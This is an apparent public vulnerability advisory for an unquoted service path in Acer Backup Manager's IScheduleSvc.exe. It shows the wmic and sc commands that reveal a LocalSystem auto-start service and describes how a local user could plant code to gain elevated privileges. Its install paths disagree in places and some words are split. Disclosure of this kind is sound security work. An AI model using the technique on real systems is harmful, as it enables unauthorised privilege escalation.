Backup Manager Module 3.0.0.99 – ‘IScheduleSvc.exe’ Unquoted Service Path
# Exploit Title: Acer Backup Manager Module 3.0.0.99 - 'IScheduleSvc.exe' Unquoted Service Path # Discovery by: Emmanuel Lujan # Discovery Date: 2021-05-19 # Vendor Homepage: https://www.acer.com/ac/en/US/content/home # Tested Version: 3.0.0.99 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 7 Home Premium x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ NTI IScheduleSvc NTI ISch eduleSvc C:\Program Files (x86)\NTI\Acer Backup Man ager\IScheduleSvc.exe Auto # Service info: C:\>sc qc "NTI IScheduleSvc" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: NTI IScheduleSvc TYPE : 110 WIN32_OWN_PROCESS <interactive> START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Acer Backup Manager\IScheduleSvc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : NTI IScheduleSvc DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application. |